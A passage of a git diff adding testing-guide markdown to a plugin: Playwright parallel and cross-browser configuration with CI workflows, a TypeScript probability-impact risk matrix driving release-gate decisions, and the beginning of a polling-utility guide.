+    : os.cpus().length - 1, // Parallel locally (leave 1 CPU for OS)
+
+  // Prevent accidentally committed .only() from blocking CI
+  forbidOnly: !!process.env.CI,
+
+  // Retry failed tests in CI
+  retries: process.env.CI ? 2 : 0,
+
+  // Shard configuration (split tests across multiple machines)
+  shard:
+    process.env.SHARD_INDEX && process.env.SHARD_TOTAL
+      ? {
+          current: parseInt(process.env.SHARD_INDEX, 10),
+          total: parseInt(process.env.SHARD_TOTAL, 10),
+        }
+      : undefined,
+});
+```
+
+```yaml
+# .github/workflows/e2e-parallel.yml - Sharded CI execution
+name: E2E Tests (Parallel)
+on: [push, pull_request]
+
+jobs:
+  test:
+    runs-on: ubuntu-latest
+    strategy:
+      fail-fast: false
+      matrix:
+        shard: [1, 2, 3, 4] # Split tests across 4 machines
+    steps:
+      - uses: actions/checkout@v4
+      - uses: actions/setup-node@v4
+        with:
+          node-version-file: '.nvmrc'
+
+      - name: Install dependencies
+        run: npm ci
+
+      - name: Install Playwright browsers
+        run: npx playwright install --with-deps
+
+      - name: Run tests (shard ${{ matrix.shard }})
+        run: npm run test
+        env:
+          SHARD_INDEX: ${{ matrix.shard }}
+          SHARD_TOTAL: 4
+          TEST_ENV: staging
+
+      - name: Upload test results
+        if: failure()
+        uses: actions/upload-artifact@v4
+        with:
+          name: test-results-shard-${{ matrix.shard }}
+          path: test-results/
+```
+
+```typescript
+// playwright/config/serial.config.ts - Serial execution for flaky tests
+import { defineConfig } from '@playwright/test';
+import { baseConfig } from './base.config';
+
+export default defineConfig({
+  ...baseConfig,
+
+  // Disable parallel execution
+  fullyParallel: false,
+  workers: 1,
+
+  // Used for: authentication flows, database-dependent tests, feature flag tests
+});
+```
+
+```typescript
+// Usage: Force serial execution for specific tests
+import { test } from '@playwright/test';
+
+// Serial execution for auth tests (shared session state)
+test.describe.configure({ mode: 'serial' });
+
+test.describe('Authentication Flow', () => {
+  test('user can log in', async ({ page }) => {
+    // First test in serial block
+  });
+
+  test('user can access dashboard', async ({ page }) => {
+    // Depends on previous test (serial)
+  });
+});
+```
+
+```typescript
+// Usage: Parallel execution for independent tests (default)
+import { test } from '@playwright/test';
+
+test.describe('Product Catalog', () => {
+  test('can view product 1', async ({ page }) => {
+    // Runs in parallel with other tests
+  });
+
+  test('can view product 2', async ({ page }) => {
+    // Runs in parallel with other tests
+  });
+});
+```
+
+**Key Points**:
+
+- `fullyParallel: true` enables parallel execution within single test file
+- Workers: 1 in CI (stability), N-1 CPUs locally (speed)
+- Sharding splits tests across multiple CI machines (4x faster with 4 shards)
+- `test.describe.configure({ mode: 'serial' })` for dependent tests
+- `forbidOnly: true` in CI prevents `.only()` from blocking pipeline
+- Matrix strategy in CI runs shards concurrently
+
+### Example 5: Project Configuration
+
+**Context**: When testing across multiple browsers, devices, or configurations, use Playwright projects to run the same tests against different environments (chromium, firefox, webkit, mobile).
+
+**Implementation**:
+
+```typescript
+// playwright.config.ts - Multiple browser projects
+import { defineConfig, devices } from '@playwright/test';
+
+export default defineConfig({
+  projects: [
+    // Desktop browsers
+    {
+      name: 'chromium',
+      use: { ...devices['Desktop Chrome'] },
+    },
+    {
+      name: 'firefox',
+      use: { ...devices['Desktop Firefox'] },
+    },
+    {
+      name: 'webkit',
+      use: { ...devices['Desktop Safari'] },
+    },
+
+    // Mobile browsers
+    {
+      name: 'mobile-chrome',
+      use: { ...devices['Pixel 5'] },
+    },
+    {
+      name: 'mobile-safari',
+      use: { ...devices['iPhone 13'] },
+    },
+
+    // Tablet
+    {
+      name: 'tablet',
+      use: { ...devices['iPad Pro'] },
+    },
+  ],
+});
+```
+
+```typescript
+// playwright.config.ts - Authenticated vs. unauthenticated projects
+import { defineConfig } from '@playwright/test';
+import path from 'path';
+
+export default defineConfig({
+  projects: [
+    // Setup project (runs first, creates auth state)
+    {
+      name: 'setup',
+      testMatch: /global-setup\.ts/,
+    },
+
+    // Authenticated tests (reuse auth state)
+    {
+      name: 'authenticated',
+      dependencies: ['setup'],
+      use: {
+        storageState: path.resolve(__dirname, './playwright/.auth/user.json'),
+      },
+      testMatch: /.*authenticated\.spec\.ts/,
+    },
+
+    // Unauthenticated tests (public pages)
+    {
+      name: 'unauthenticated',
+      testMatch: /.*unauthenticated\.spec\.ts/,
+    },
+  ],
+});
+```
+
+```typescript
+// playwright/support/global-setup.ts - Setup project for auth
+import { chromium, FullConfig } from '@playwright/test';
+import path from 'path';
+
+async function globalSetup(config: FullConfig) {
+  const browser = await chromium.launch();
+  const page = await browser.newPage();
+
+  // Perform authentication
+  await page.goto('http://localhost:3000/login');
+  await page.fill('[data-testid="email"]', 'test@example.com');
+  await page.fill('[data-testid="password"]', 'password123');
+  await page.click('[data-testid="login-button"]');
+
+  // Wait for authentication to complete
+  await page.waitForURL('**/dashboard');
+
+  // Save authentication state
+  await page.context().storageState({
+    path: path.resolve(__dirname, '../.auth/user.json'),
+  });
+
+  await browser.close();
+}
+
+export default globalSetup;
+```
+
+```bash
+# Run specific project
+npx playwright test --project=chromium
+npx playwright test --project=mobile-chrome
+npx playwright test --project=authenticated
+
+# Run multiple projects
+npx playwright test --project=chromium --project=firefox
+
+# Run all projects (default)
+npx playwright test
+```
+
+```typescript
+// Usage: Project-specific test
+import { test, expect } from '@playwright/test';
+
+test('mobile navigation works', async ({ page, isMobile }) => {
+  await page.goto('/');
+
+  if (isMobile) {
+    // Open mobile menu
+    await page.click('[data-testid="hamburger-menu"]');
+  }
+
+  await page.click('[data-testid="products-link"]');
+  await expect(page).toHaveURL(/.*products/);
+});
+```
+
+```yaml
+# .github/workflows/e2e-cross-browser.yml - CI cross-browser testing
+name: E2E Tests (Cross-Browser)
+on: [push, pull_request]
+
+jobs:
+  test:
+    runs-on: ubuntu-latest
+    strategy:
+      fail-fast: false
+      matrix:
+        project: [chromium, firefox, webkit, mobile-chrome]
+    steps:
+      - uses: actions/checkout@v4
+      - uses: actions/setup-node@v4
+      - run: npm ci
+      - run: npx playwright install --with-deps
+
+      - name: Run tests (${{ matrix.project }})
+        run: npx playwright test --project=${{ matrix.project }}
+```
+
+**Key Points**:
+
+- Projects enable testing across browsers, devices, and configurations
+- `devices` from `@playwright/test` provide preset configurations (Pixel 5, iPhone 13, etc.)
+- `dependencies` ensures setup project runs first (auth, data seeding)
+- `storageState` shares authentication across tests (0 seconds auth per test)
+- `testMatch` filters which tests run in which project
+- CI matrix strategy runs projects in parallel (4x faster with 4 projects)
+- `isMobile` context property for conditional logic in tests
+
+## Integration Points
+
+- **Used in workflows**: `*framework` (config setup), `*ci` (parallelization, artifact upload)
+- **Related fragments**:
+  - `fixture-architecture.md` - Fixture-based timeout overrides
+  - `ci-burn-in.md` - CI pipeline artifact upload
+  - `test-quality.md` - Timeout standards (no hard waits)
+  - `data-factories.md` - Per-test isolation (no shared global state)
+
+## Configuration Checklist
+
+**Before deploying tests, verify**:
+
+- [ ] Environment config map with fail-fast validation
+- [ ] Standardized timeouts (action 15s, navigation 30s, expect 10s, test 60s)
+- [ ] Artifact storage at `test-results/` and `playwright-report/`
+- [ ] HTML + JUnit reporters configured
+- [ ] `.env.example`, `.nvmrc`, browser versions committed
+- [ ] Parallelization configured (workers, sharding)
+- [ ] Projects defined for cross-browser/device testing (if needed)
+- [ ] CI uploads artifacts on failure with 30-day retention
+
+_Source: Playwright book repo, enterprise configuration example, Murat testing philosophy (lines 216-271)._
diff --git a/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/probability-impact.md b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/probability-impact.md
new file mode 100644
index 0000000..f287934
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/probability-impact.md
@@ -0,0 +1,601 @@
+# Probability and Impact Scale
+
+## Principle
+
+Risk scoring uses a **probability × impact** matrix (1-9 scale) to prioritize testing efforts. Higher scores (6-9) demand immediate action; lower scores (1-3) require documentation only. This systematic approach ensures testing resources focus on the highest-value risks.
+
+## Rationale
+
+**The Problem**: Without quantifiable risk assessment, teams over-test low-value scenarios while missing critical risks. Gut feeling leads to inconsistent prioritization and missed edge cases.
+
+**The Solution**: Standardize risk evaluation with a 3×3 matrix (probability: 1-3, impact: 1-3). Multiply to derive risk score (1-9). Automate classification (DOCUMENT, MONITOR, MITIGATE, BLOCK) based on thresholds. This approach surfaces hidden risks early and justifies testing decisions to stakeholders.
+
+**Why This Matters**:
+
+- Consistent risk language across product, engineering, and QA
+- Objective prioritization of test scenarios (not politics)
+- Automatic gate decisions (score=9 → FAIL until resolved)
+- Audit trail for compliance and retrospectives
+
+## Pattern Examples
+
+### Example 1: Probability-Impact Matrix Implementation (Automated Classification)
+
+**Context**: Implement a reusable risk scoring system with automatic threshold classification
+
+**Implementation**:
+
+```typescript
+// src/testing/risk-matrix.ts
+
+/**
+ * Probability levels:
+ * 1 = Unlikely (standard implementation, low uncertainty)
+ * 2 = Possible (edge cases or partial unknowns)
+ * 3 = Likely (known issues, new integrations, high ambiguity)
+ */
+export type Probability = 1 | 2 | 3;
+
+/**
+ * Impact levels:
+ * 1 = Minor (cosmetic issues or easy workarounds)
+ * 2 = Degraded (partial feature loss or manual workaround)
+ * 3 = Critical (blockers, data/security/regulatory exposure)
+ */
+export type Impact = 1 | 2 | 3;
+
+/**
+ * Risk score (probability × impact): 1-9
+ */
+export type RiskScore = 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9;
+
+/**
+ * Action categories based on risk score thresholds
+ */
+export type RiskAction = 'DOCUMENT' | 'MONITOR' | 'MITIGATE' | 'BLOCK';
+
+export type RiskAssessment = {
+  probability: Probability;
+  impact: Impact;
+  score: RiskScore;
+  action: RiskAction;
+  reasoning: string;
+};
+
+/**
+ * Calculate risk score: probability × impact
+ */
+export function calculateRiskScore(probability: Probability, impact: Impact): RiskScore {
+  return (probability * impact) as RiskScore;
+}
+
+/**
+ * Classify risk action based on score thresholds:
+ * - 1-3: DOCUMENT (awareness only)
+ * - 4-5: MONITOR (watch closely, plan mitigations)
+ * - 6-8: MITIGATE (CONCERNS at gate until mitigated)
+ * - 9: BLOCK (automatic FAIL until resolved or waived)
+ */
+export function classifyRiskAction(score: RiskScore): RiskAction {
+  if (score >= 9) return 'BLOCK';
+  if (score >= 6) return 'MITIGATE';
+  if (score >= 4) return 'MONITOR';
+  return 'DOCUMENT';
+}
+
+/**
+ * Full risk assessment with automatic classification
+ */
+export function assessRisk(params: { probability: Probability; impact: Impact; reasoning: string }): RiskAssessment {
+  const { probability, impact, reasoning } = params;
+
+  const score = calculateRiskScore(probability, impact);
+  const action = classifyRiskAction(score);
+
+  return { probability, impact, score, action, reasoning };
+}
+
+/**
+ * Generate risk matrix visualization (3x3 grid)
+ * Returns markdown table with color-coded scores
+ */
+export function generateRiskMatrix(): string {
+  const matrix: string[][] = [];
+  const header = ['Impact \\ Probability', 'Unlikely (1)', 'Possible (2)', 'Likely (3)'];
+  matrix.push(header);
+
+  const impactLabels = ['Critical (3)', 'Degraded (2)', 'Minor (1)'];
+  for (let impact = 3; impact >= 1; impact--) {
+    const row = [impactLabels[3 - impact]];
+    for (let probability = 1; probability <= 3; probability++) {
+      const score = calculateRiskScore(probability as Probability, impact as Impact);
+      const action = classifyRiskAction(score);
+      const emoji = action === 'BLOCK' ? '🔴' : action === 'MITIGATE' ? '🟠' : action === 'MONITOR' ? '🟡' : '🟢';
+      row.push(`${emoji} ${score}`);
+    }
+    matrix.push(row);
+  }
+
+  return matrix.map((row) => `| ${row.join(' | ')} |`).join('\n');
+}
+```
+
+**Key Points**:
+
+- Type-safe probability/impact (1-3 enforced at compile time)
+- Automatic action classification (DOCUMENT, MONITOR, MITIGATE, BLOCK)
+- Visual matrix generation for documentation
+- Risk score formula: `probability * impact` (max = 9)
+- Threshold-based decision rules (6-8 = MITIGATE, 9 = BLOCK)
+
+---
+
+### Example 2: Risk Assessment Workflow (Test Planning Integration)
+
+**Context**: Apply risk matrix during test design to prioritize scenarios
+
+**Implementation**:
+
+```typescript
+// tests/e2e/test-planning/risk-assessment.ts
+import { assessRisk, generateRiskMatrix, type RiskAssessment } from '../../../src/testing/risk-matrix';
+
+export type TestScenario = {
+  id: string;
+  title: string;
+  feature: string;
+  risk: RiskAssessment;
+  testLevel: 'E2E' | 'API' | 'Unit';
+  priority: 'P0' | 'P1' | 'P2' | 'P3';
+  owner: string;
+};
+
+/**
+ * Assess test scenarios and auto-assign priority based on risk score
+ */
+export function assessTestScenarios(scenarios: Omit<TestScenario, 'risk' | 'priority'>[]): TestScenario[] {
+  return scenarios.map((scenario) => {
+    // Auto-assign priority based on risk score
+    const priority = mapRiskToPriority(scenario.risk.score);
+    return { ...scenario, priority };
+  });
+}
+
+/**
+ * Map risk score to test priority (P0-P3)
+ * P0: Critical (score 9) - blocks release
+ * P1: High (score 6-8) - must fix before release
+ * P2: Medium (score 4-5) - fix if time permits
+ * P3: Low (score 1-3) - document and defer
+ */
+function mapRiskToPriority(score: number): 'P0' | 'P1' | 'P2' | 'P3' {
+  if (score === 9) return 'P0';
+  if (score >= 6) return 'P1';
+  if (score >= 4) return 'P2';
+  return 'P3';
+}
+
+/**
+ * Example: Payment flow risk assessment
+ */
+export const paymentScenarios: Array<Omit<TestScenario, 'priority'>> = [
+  {
+    id: 'PAY-001',
+    title: 'Valid credit card payment completes successfully',
+    feature: 'Checkout',
+    risk: assessRisk({
+      probability: 2, // Possible (standard Stripe integration)
+      impact: 3, // Critical (revenue loss if broken)
+      reasoning: 'Core revenue flow, but Stripe is well-tested',
+    }),
+    testLevel: 'E2E',
+    owner: 'qa-team',
+  },
+  {
+    id: 'PAY-002',
+    title: 'Expired credit card shows user-friendly error',
+    feature: 'Checkout',
+    risk: assessRisk({
+      probability: 3, // Likely (edge case handling often buggy)
+      impact: 2, // Degraded (users see error, but can retry)
+      reasoning: 'Error handling logic is custom and complex',
+    }),
+    testLevel: 'E2E',
+    owner: 'qa-team',
+  },
+  {
+    id: 'PAY-003',
+    title: 'Payment confirmation email formatting is correct',
+    feature: 'Email',
+    risk: assessRisk({
+      probability: 2, // Possible (template changes occasionally break)
+      impact: 1, // Minor (cosmetic issue, email still sent)
+      reasoning: 'Non-blocking, users get email regardless',
+    }),
+    testLevel: 'Unit',
+    owner: 'dev-team',
+  },
+  {
+    id: 'PAY-004',
+    title: 'Payment fails gracefully when Stripe is down',
+    feature: 'Checkout',
+    risk: assessRisk({
+      probability: 1, // Unlikely (Stripe has 99.99% uptime)
+      impact: 3, // Critical (complete checkout failure)
+      reasoning: 'Rare but catastrophic, requires retry mechanism',
+    }),
+    testLevel: 'API',
+    owner: 'qa-team',
+  },
+];
+
+/**
+ * Generate risk assessment report with priority distribution
+ */
+export function generateRiskReport(scenarios: TestScenario[]): string {
+  const priorityCounts = scenarios.reduce(
+    (acc, s) => {
+      acc[s.priority] = (acc[s.priority] || 0) + 1;
+      return acc;
+    },
+    {} as Record<string, number>,
+  );
+
+  const actionCounts = scenarios.reduce(
+    (acc, s) => {
+      acc[s.risk.action] = (acc[s.risk.action] || 0) + 1;
+      return acc;
+    },
+    {} as Record<string, number>,
+  );
+
+  return `
+# Risk Assessment Report
+
+## Risk Matrix
+${generateRiskMatrix()}
+
+## Priority Distribution
+- **P0 (Blocker)**: ${priorityCounts.P0 || 0} scenarios
+- **P1 (High)**: ${priorityCounts.P1 || 0} scenarios
+- **P2 (Medium)**: ${priorityCounts.P2 || 0} scenarios
+- **P3 (Low)**: ${priorityCounts.P3 || 0} scenarios
+
+## Action Required
+- **BLOCK**: ${actionCounts.BLOCK || 0} scenarios (auto-fail gate)
+- **MITIGATE**: ${actionCounts.MITIGATE || 0} scenarios (concerns at gate)
+- **MONITOR**: ${actionCounts.MONITOR || 0} scenarios (watch closely)
+- **DOCUMENT**: ${actionCounts.DOCUMENT || 0} scenarios (awareness only)
+
+## Scenarios by Risk Score (Highest First)
+${scenarios
+  .sort((a, b) => b.risk.score - a.risk.score)
+  .map((s) => `- **[${s.priority}]** ${s.id}: ${s.title} (Score: ${s.risk.score} - ${s.risk.action})`)
+  .join('\n')}
+`.trim();
+}
+```
+
+**Key Points**:
+
+- Risk score → Priority mapping (P0-P3 automated)
+- Report generation with priority/action distribution
+- Scenarios sorted by risk score (highest first)
+- Visual matrix included in reports
+- Reusable across projects (extract to shared library)
+
+---
+
+### Example 3: Dynamic Risk Re-Assessment (Continuous Evaluation)
+
+**Context**: Recalculate risk scores as project evolves (requirements change, mitigations implemented)
+
+**Implementation**:
+
+```typescript
+// src/testing/risk-tracking.ts
+import { type RiskAssessment, assessRisk, type Probability, type Impact } from './risk-matrix';
+
+export type RiskHistory = {
+  timestamp: Date;
+  assessment: RiskAssessment;
+  changedBy: string;
+  reason: string;
+};
+
+export type TrackedRisk = {
+  id: string;
+  title: string;
+  feature: string;
+  currentRisk: RiskAssessment;
+  history: RiskHistory[];
+  mitigations: string[];
+  status: 'OPEN' | 'MITIGATED' | 'WAIVED' | 'RESOLVED';
+};
+
+export class RiskTracker {
+  private risks: Map<string, TrackedRisk> = new Map();
+
+  /**
+   * Add new risk to tracker
+   */
+  addRisk(params: {
+    id: string;
+    title: string;
+    feature: string;
+    probability: Probability;
+    impact: Impact;
+    reasoning: string;
+    changedBy: string;
+  }): TrackedRisk {
+    const { id, title, feature, probability, impact, reasoning, changedBy } = params;
+
+    const assessment = assessRisk({ probability, impact, reasoning });
+
+    const risk: TrackedRisk = {
+      id,
+      title,
+      feature,
+      currentRisk: assessment,
+      history: [
+        {
+          timestamp: new Date(),
+          assessment,
+          changedBy,
+          reason: 'Initial assessment',
+        },
+      ],
+      mitigations: [],
+      status: 'OPEN',
+    };
+
+    this.risks.set(id, risk);
+    return risk;
+  }
+
+  /**
+   * Reassess risk (probability or impact changed)
+   */
+  reassessRisk(params: {
+    id: string;
+    probability?: Probability;
+    impact?: Impact;
+    reasoning: string;
+    changedBy: string;
+  }): TrackedRisk | null {
+    const { id, probability, impact, reasoning, changedBy } = params;
+    const risk = this.risks.get(id);
+    if (!risk) return null;
+
+    // Use existing values if not provided
+    const newProbability = probability ?? risk.currentRisk.probability;
+    const newImpact = impact ?? risk.currentRisk.impact;
+
+    const newAssessment = assessRisk({
+      probability: newProbability,
+      impact: newImpact,
+      reasoning,
+    });
+
+    risk.currentRisk = newAssessment;
+    risk.history.push({
+      timestamp: new Date(),
+      assessment: newAssessment,
+      changedBy,
+      reason: reasoning,
+    });
+
+    this.risks.set(id, risk);
+    return risk;
+  }
+
+  /**
+   * Mark risk as mitigated (probability reduced)
+   */
+  mitigateRisk(params: { id: string; newProbability: Probability; mitigation: string; changedBy: string }): TrackedRisk | null {
+    const { id, newProbability, mitigation, changedBy } = params;
+    const risk = this.reassessRisk({
+      id,
+      probability: newProbability,
+      reasoning: `Mitigation implemented: ${mitigation}`,
+      changedBy,
+    });
+
+    if (risk) {
+      risk.mitigations.push(mitigation);
+      if (risk.currentRisk.action === 'DOCUMENT' || risk.currentRisk.action === 'MONITOR') {
+        risk.status = 'MITIGATED';
+      }
+    }
+
+    return risk;
+  }
+
+  /**
+   * Get risks requiring action (MITIGATE or BLOCK)
+   */
+  getRisksRequiringAction(): TrackedRisk[] {
+    return Array.from(this.risks.values()).filter(
+      (r) => r.status === 'OPEN' && (r.currentRisk.action === 'MITIGATE' || r.currentRisk.action === 'BLOCK'),
+    );
+  }
+
+  /**
+   * Generate risk trend report (show changes over time)
+   */
+  generateTrendReport(riskId: string): string | null {
+    const risk = this.risks.get(riskId);
+    if (!risk) return null;
+
+    return `
+# Risk Trend Report: ${risk.id}
+
+**Title**: ${risk.title}
+**Feature**: ${risk.feature}
+**Status**: ${risk.status}
+
+## Current Assessment
+- **Probability**: ${risk.currentRisk.probability}
+- **Impact**: ${risk.currentRisk.impact}
+- **Score**: ${risk.currentRisk.score}
+- **Action**: ${risk.currentRisk.action}
+- **Reasoning**: ${risk.currentRisk.reasoning}
+
+## Mitigations Applied
+${risk.mitigations.length > 0 ? risk.mitigations.map((m) => `- ${m}`).join('\n') : '- None'}
+
+## History (${risk.history.length} changes)
+${risk.history
+  .reverse()
+  .map((h) => `- **${h.timestamp.toISOString()}** by ${h.changedBy}: Score ${h.assessment.score} (${h.assessment.action}) - ${h.reason}`)
+  .join('\n')}
+`.trim();
+  }
+}
+```
+
+**Key Points**:
+
+- Historical tracking (audit trail for risk changes)
+- Mitigation impact tracking (probability reduction)
+- Status lifecycle (OPEN → MITIGATED → RESOLVED)
+- Trend reports (show risk evolution over time)
+- Re-assessment triggers (requirements change, new info)
+
+---
+
+### Example 4: Risk Matrix in Gate Decision (Integration with Trace Workflow)
+
+**Context**: Use probability-impact scores to drive gate decisions (PASS/CONCERNS/FAIL/WAIVED)
+
+**Implementation**:
+
+```typescript
+// src/testing/gate-decision.ts
+import { type RiskScore, classifyRiskAction, type RiskAction } from './risk-matrix';
+import { type TrackedRisk } from './risk-tracking';
+
+export type GateDecision = 'PASS' | 'CONCERNS' | 'FAIL' | 'WAIVED';
+
+export type GateResult = {
+  decision: GateDecision;
+  blockers: TrackedRisk[]; // Score=9, action=BLOCK
+  concerns: TrackedRisk[]; // Score 6-8, action=MITIGATE
+  monitored: TrackedRisk[]; // Score 4-5, action=MONITOR
+  documented: TrackedRisk[]; // Score 1-3, action=DOCUMENT
+  summary: string;
+};
+
+/**
+ * Evaluate gate based on risk assessments
+ */
+export function evaluateGateFromRisks(risks: TrackedRisk[]): GateResult {
+  const blockers = risks.filter((r) => r.currentRisk.action === 'BLOCK' && r.status === 'OPEN');
+  const concerns = risks.filter((r) => r.currentRisk.action === 'MITIGATE' && r.status === 'OPEN');
+  const monitored = risks.filter((r) => r.currentRisk.action === 'MONITOR');
+  const documented = risks.filter((r) => r.currentRisk.action === 'DOCUMENT');
+
+  let decision: GateDecision;
+
+  if (blockers.length > 0) {
+    decision = 'FAIL';
+  } else if (concerns.length > 0) {
+    decision = 'CONCERNS';
+  } else {
+    decision = 'PASS';
+  }
+
+  const summary = generateGateSummary({ decision, blockers, concerns, monitored, documented });
+
+  return { decision, blockers, concerns, monitored, documented, summary };
+}
+
+/**
+ * Generate gate decision summary
+ */
+function generateGateSummary(result: Omit<GateResult, 'summary'>): string {
+  const { decision, blockers, concerns, monitored, documented } = result;
+
+  const lines: string[] = [`## Gate Decision: ${decision}`];
+
+  if (decision === 'FAIL') {
+    lines.push(`\n**Blockers** (${blockers.length}): Automatic FAIL until resolved or waived`);
+    blockers.forEach((r) => {
+      lines.push(`- **${r.id}**: ${r.title} (Score: ${r.currentRisk.score})`);
+      lines.push(`  - Probability: ${r.currentRisk.probability}, Impact: ${r.currentRisk.impact}`);
+      lines.push(`  - Reasoning: ${r.currentRisk.reasoning}`);
+    });
+  }
+
+  if (concerns.length > 0) {
+    lines.push(`\n**Concerns** (${concerns.length}): Address before release`);
+    concerns.forEach((r) => {
+      lines.push(`- **${r.id}**: ${r.title} (Score: ${r.currentRisk.score})`);
+      lines.push(`  - Mitigations: ${r.mitigations.join(', ') || 'None'}`);
+    });
+  }
+
+  if (monitored.length > 0) {
+    lines.push(`\n**Monitored** (${monitored.length}): Watch closely`);
+    monitored.forEach((r) => lines.push(`- **${r.id}**: ${r.title} (Score: ${r.currentRisk.score})`));
+  }
+
+  if (documented.length > 0) {
+    lines.push(`\n**Documented** (${documented.length}): Awareness only`);
+  }
+
+  lines.push(`\n---\n`);
+  lines.push(`**Next Steps**:`);
+  if (decision === 'FAIL') {
+    lines.push(`- Resolve blockers or request formal waiver`);
+  } else if (decision === 'CONCERNS') {
+    lines.push(`- Implement mitigations for high-risk scenarios (score 6-8)`);
+    lines.push(`- Re-run gate after mitigations`);
+  } else {
+    lines.push(`- Proceed with release`);
+  }
+
+  return lines.join('\n');
+}
+```
+
+**Key Points**:
+
+- Gate decision driven by risk scores (not gut feeling)
+- Automatic FAIL for score=9 (blockers)
+- CONCERNS for score 6-8 (requires mitigation)
+- PASS only when no blockers/concerns
+- Actionable summary with next steps
+- Integration with trace workflow (Phase 2)
+
+---
+
+## Probability-Impact Threshold Summary
+
+| Score | Action   | Gate Impact          | Typical Use Case                       |
+| ----- | -------- | -------------------- | -------------------------------------- |
+| 1-3   | DOCUMENT | None                 | Cosmetic issues, low-priority bugs     |
+| 4-5   | MONITOR  | None (watch closely) | Edge cases, partial unknowns           |
+| 6-8   | MITIGATE | CONCERNS at gate     | High-impact scenarios needing coverage |
+| 9     | BLOCK    | Automatic FAIL       | Critical blockers, must resolve        |
+
+## Risk Assessment Checklist
+
+Before deploying risk matrix:
+
+- [ ] **Probability scale defined**: 1 (unlikely), 2 (possible), 3 (likely) with clear examples
+- [ ] **Impact scale defined**: 1 (minor), 2 (degraded), 3 (critical) with concrete criteria
+- [ ] **Threshold rules documented**: Score → Action mapping (1-3 = DOCUMENT, 4-5 = MONITOR, 6-8 = MITIGATE, 9 = BLOCK)
+- [ ] **Gate integration**: Risk scores drive gate decisions (PASS/CONCERNS/FAIL/WAIVED)
+- [ ] **Re-assessment process**: Risks re-evaluated as project evolves (requirements change, mitigations applied)
+- [ ] **Audit trail**: Historical tracking for risk changes (who, when, why)
+- [ ] **Mitigation tracking**: Link mitigations to probability reduction (quantify impact)
+- [ ] **Reporting**: Risk matrix visualization, trend reports, gate summaries
+
+## Integration Points
+
+- **Used in workflows**: `*test-design` (initial risk assessment), `*trace` (gate decision Phase 2), `*nfr-assess` (security/performance risks)
+- **Related fragments**: `risk-governance.md` (risk scoring matrix, gate decision engine), `test-priorities-matrix.md` (P0-P3 mapping), `nfr-criteria.md` (impact assessment for NFRs)
+- **Tools**: TypeScript for type safety, markdown for reports, version control for audit trail
+
+_Source: Murat risk model summary, gate decision patterns from production systems, probability-impact matrix from risk governance practices_
diff --git a/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/recurse.md b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/recurse.md
new file mode 100644
index 0000000..b2b1322
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/recurse.md
@@ -0,0 +1,421 @@
+# Recurse (Polling) Utility
+
+## Principle
+
+Use Cypress-style polling with Playwright's `expect.poll` to wait for asynchronous conditions. Provides configurable timeout, interval, logging, and post-polling callbacks with enhanced error categorization. **Ideal for backend testing**: polling API endpoints for job completion, database eventual consistency, message queue processing, and cache propagation.
+
+## Rationale
+
+Testing async operations (background jobs, eventual consistency, webhook processing) requires polling:
+
+- Vanilla `expect.poll` is verbose
+- No built-in logging for debugging
+- Generic timeout errors
+- No post-poll hooks
+
+The `recurse` utility provides:
+
+- **Clean syntax**: Inspired by cypress-recurse
+- **Enhanced errors**: Timeout vs command failure vs predicate errors
+- **Built-in logging**: Track polling progress
+- **Post-poll callbacks**: Process results after success
+- **Type-safe**: Full TypeScript generic support
+
+## Quick Start
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/recurse/fixtures';
+
+test('wait for job completion', async ({ recurse, apiRequest }) => {
+  const { body } = await apiRequest({
+    method: 'POST',
+    path: '/api/jobs',
+    body: { type: 'export' },
+  });
+
+  // Poll until job completes
+  const result = await recurse(
+    () => apiRequest({ method: 'GET', path: `/api/jobs/${body.id}` }),
+    (response) => response.body.status === 'completed',
+    { timeout: 60000 },
+  );
+
+  expect(result.body.downloadUrl).toBeDefined();
+});
+```
+
+## Pattern Examples
+
+### Example 1: Basic Polling
+
+**Context**: Wait for async operation to complete with custom timeout and interval.
+
+**Implementation**:
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/recurse/fixtures';
+
+test('should wait for job completion', async ({ recurse, apiRequest }) => {
+  // Start job
+  const { body } = await apiRequest({
+    method: 'POST',
+    path: '/api/jobs',
+    body: { type: 'export' },
+  });
+
+  // Poll until ready
+  const result = await recurse(
+    () => apiRequest({ method: 'GET', path: `/api/jobs/${body.id}` }),
+    (response) => response.body.status === 'completed',
+    {
+      timeout: 60000, // 60 seconds max
+      interval: 2000, // Check every 2 seconds
+      log: 'Waiting for export job to complete',
+    },
+  );
+
+  expect(result.body.downloadUrl).toBeDefined();
+});
+```
+
+**Key Points**:
+
+- First arg: command function (what to execute)
+- Second arg: predicate function (when to stop)
+- Options: timeout, interval, log message
+- Returns the value when predicate returns true
+
+### Example 2: Working with Assertions
+
+**Context**: Use assertions directly in predicate for more expressive tests.
+
+**Implementation**:
+
+```typescript
+test('should poll with assertions', async ({ recurse, apiRequest }) => {
+  await apiRequest({
+    method: 'POST',
+    path: '/api/events',
+    body: { type: 'user-created', userId: '123' },
+  });
+
+  // Poll with assertions in predicate - no return true needed!
+  await recurse(
+    async () => {
+      const { body } = await apiRequest({ method: 'GET', path: '/api/events/123' });
+      return body;
+    },
+    (event) => {
+      // If all assertions pass, predicate succeeds
+      expect(event.processed).toBe(true);
+      expect(event.timestamp).toBeDefined();
+      // No need to return true - just let assertions pass
+    },
+    { timeout: 30000 },
+  );
+});
+```
+
+**Why no `return true` needed?**
+
+The predicate checks for "truthiness" of the return value. But there's a catch - in JavaScript, an empty `return` (or no return) returns `undefined`, which is falsy!
+
+The utility handles this by checking if:
+
+1. The predicate didn't throw (assertions passed)
+2. The return value was either `undefined` (implicit return) or truthy
+
+So you can:
+
+```typescript
+// Option 1: Use assertions only (recommended)
+(event) => {
+  expect(event.processed).toBe(true);
+};
+
+// Option 2: Return boolean (also works)
+(event) => event.processed === true;
+
+// Option 3: Mixed (assertions + explicit return)
+(event) => {
+  expect(event.processed).toBe(true);
+  return true;
+};
+```
+
+### Example 3: Error Handling
+
+**Context**: Understanding the different error types.
+
+**Error Types:**
+
+```typescript
+// RecurseTimeoutError - Predicate never returned true within timeout
+// Contains last command value and predicate error
+try {
+  await recurse(/* ... */);
+} catch (error) {
+  if (error instanceof RecurseTimeoutError) {
